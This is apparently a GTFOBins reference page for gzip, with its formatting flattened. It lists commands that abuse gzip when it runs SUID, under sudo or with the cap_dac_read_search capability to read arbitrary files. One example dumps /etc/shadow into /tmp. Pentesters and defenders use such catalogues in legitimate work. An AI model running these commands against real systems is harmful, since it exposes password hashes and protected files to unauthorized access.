GTFOBins.github.io/_gtfobins/gzip.md

description

functions

There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless`, `zcat`, `gunzip`, etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID.

file-read suid sudo capabilities code LFILE=file_to_read gzip -f $LFILE -t code LFILE=file_to_read gzip -c $LFILE | gzip -d code LFILE=file_to_read ./gzip -f $LFILE -t code LFILE=file_to_read sudo gzip -f $LFILE -t description code If cap_dac_read_search is set. Run ``getcap -r / 2>/dev/null`` to confirm ``/usr/bin/gzip cap_dac_read_search=ep`` gzip can read any file: gzip -c /etc/shadow > /tmp/shadow.gz gzip -d /tmp/shadow.gz cat /tmp/shadow